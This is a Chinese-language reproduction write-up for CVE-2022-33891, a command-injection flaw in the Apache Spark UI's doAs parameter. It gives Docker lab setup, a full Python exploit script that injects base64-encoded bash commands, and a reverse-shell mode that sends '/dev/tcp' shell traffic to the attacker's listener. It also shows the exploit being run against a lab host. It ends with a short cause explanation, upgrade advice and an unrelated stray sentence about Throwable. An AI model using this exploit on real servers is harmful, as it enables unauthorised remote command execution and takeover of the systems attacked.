CVE-2022-33891漏洞復現
簡介
Spark 是用于大規模數據處理的統一分析引擎。它提供了 Scala、Java、Python 和 R 中的高級 API,以及支持用于數據分析的通用計算圖的優化引擎。它還支持一組豐富的高級工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作負載的 Spark 上的 Pandas API、用于機器學習的 MLlib、用于圖形處理的 GraphX 和用于流處理的結構化流。
影響版本
Apache spark version<3.0.3
3.1.1<apache spark="" version<3.1.2<="" span="">
Apache Spark version>= 3.3.0
環境搭建
目前官網上已經找不到老版本的docker鏡像了

搜索老版本的也是為空
這里環境搭建的時使用的是github上私人倉庫的鏡像,下載地址
https://github.com/big-data-europe/docker-spark
需要修改配置文件,下載存在漏洞的版本,修改dockerfile,V3.1.1

修改版本
docker-compose up -d

訪問
http:10.10.10.32:8080

這里測試是不存在漏洞的,需要修改配置文件
echo "spark.acls.enable true" >> conf/spark-defaults.conf
POC如下:
#!/usr/bin/env python3import requestsimport argparseimport base64import datetime
parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')parser.add_argument('-u', '--url', help='URL to exploit.', required=True)parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')parser.add_argument('-lp', '--listeningport', help='Your listening host port.')parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
args = parser.parse_args()
full_url = f"{args.url}:{args.port}"
def check_for_vuln(url): print("[*] Attempting to connect to site...") r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False) if r.status_code != 403: print("[-] Does not look like an Apache Spark server.") quit(1) elif "org.apache.spark.ui" not in r.content.decode("utf-8"): print("[-] Does not look like an Apache Spark server.") quit(1) else: print("[*] Performing sleep test of 10 seconds...") t1 = datetime.datetime.now() run_cmd("sleep 10") t2 = datetime.datetime.now() delta = t2-t1 if delta.seconds < 10: print("[-] Sleep was less than 10. This target is probably not vulnerable") else: print("[+] Sleep was 10 seconds! This target is probably vulnerable!") exit(0)
def cmd_prompt(): # Provide user with cmd prompt on loop to run commands cmd = input("> ") return cmd
def base64_encode(cmd): message_bytes = cmd.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_cmd = base64_bytes.decode('ascii') return base64_cmd
def run_cmd(cmd): try: # Execute given command from cmd prompt #print("[*] Command is: " + cmd) base64_cmd = base64_encode(cmd) #print("[*] Base64 command is: " + base64_cmd) exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`" exploit_req = f"{full_url}{exploit}" print("[*] Full exploit request is: " + exploit_req) requests.get(exploit_req, allow_redirects=False) except Exception as e: print(str(e))
def revshell(lhost, lport): print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}") input("[!] When your listener is set up, press enter!") rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1" run_cmd(rev_shell_cmd)
def main():
if args.check and args.revshell: print("[!] Please choose either revshell or check!") exit(1)
elif args.check: check_for_vuln(full_url)
# Revshell elif args.revshell: if not (args.listeninghost and args.listeningport): print("[x] You need a listeninghost and listening port!") exit(1) else: lhost = args.listeninghost lport = args.listeningport revshell(lhost, lport) else: # "Interactive" mode print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.") while True: command_to_run = cmd_prompt() run_cmd(command_to_run)
if __name__ == "__main__": main()
如果失敗的話重建項目,使用下面這個文件起docker可能是鏡像的問題,不同的倉庫內的Apache spark配置不同,這個版本是V3.0.0的
version: '2' services: spark: image: docker.io/bitnami/spark:3.0.0 environment: - SPARK_MODE=master - SPARK_RPC_AUTHENTICATION_ENABLED=no - SPARK_RPC_ENCRYPTION_ENABLED=no - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no - SPARK_SSL_ENABLED=no ports: - '8080:8080'

訪問
http://192.168.0.112:8080/

修改配置文件
docker exec -it 8a /bin/bash
I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf
I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf

已追加配置,重啟docker
root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d

使用poc去生成payload,或者手動也可,但是執行的命令要使用echo寫入執行且做base64編碼后解碼生效。

但是看不到回顯,直接反彈shell
python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444

查看連接狀態

漏洞成因
漏洞成因是由于Apache Spark UI 提供了通過配置選項 spark.acls.enable 啟用 ACL 的可能性。使用身份驗證過濾器,這將檢查用戶是否具有查看或修改應用程序的訪問權限。如果啟用了 ACL,則 HttpSecurityFilter 中的代碼路徑可以允許某人通過提供任意用戶名來執行模擬。然后,惡意用戶可能能夠訪問權限檢查功能,該功能最終將根據他們的輸入構建一個 Unix shell 命令并執行,導致任意 shell 命令執行。
參考:https://spark.apache.org/security.html
修復建議
1.建議升級到安全版本,參考官網鏈接:
https://spark.apache.org/downloads.html
2.安全設備路徑添加黑名單或者增加WAF規則(臨時方案)。
Throwable 的擴展類,同時其中必須有危險的 set 方法。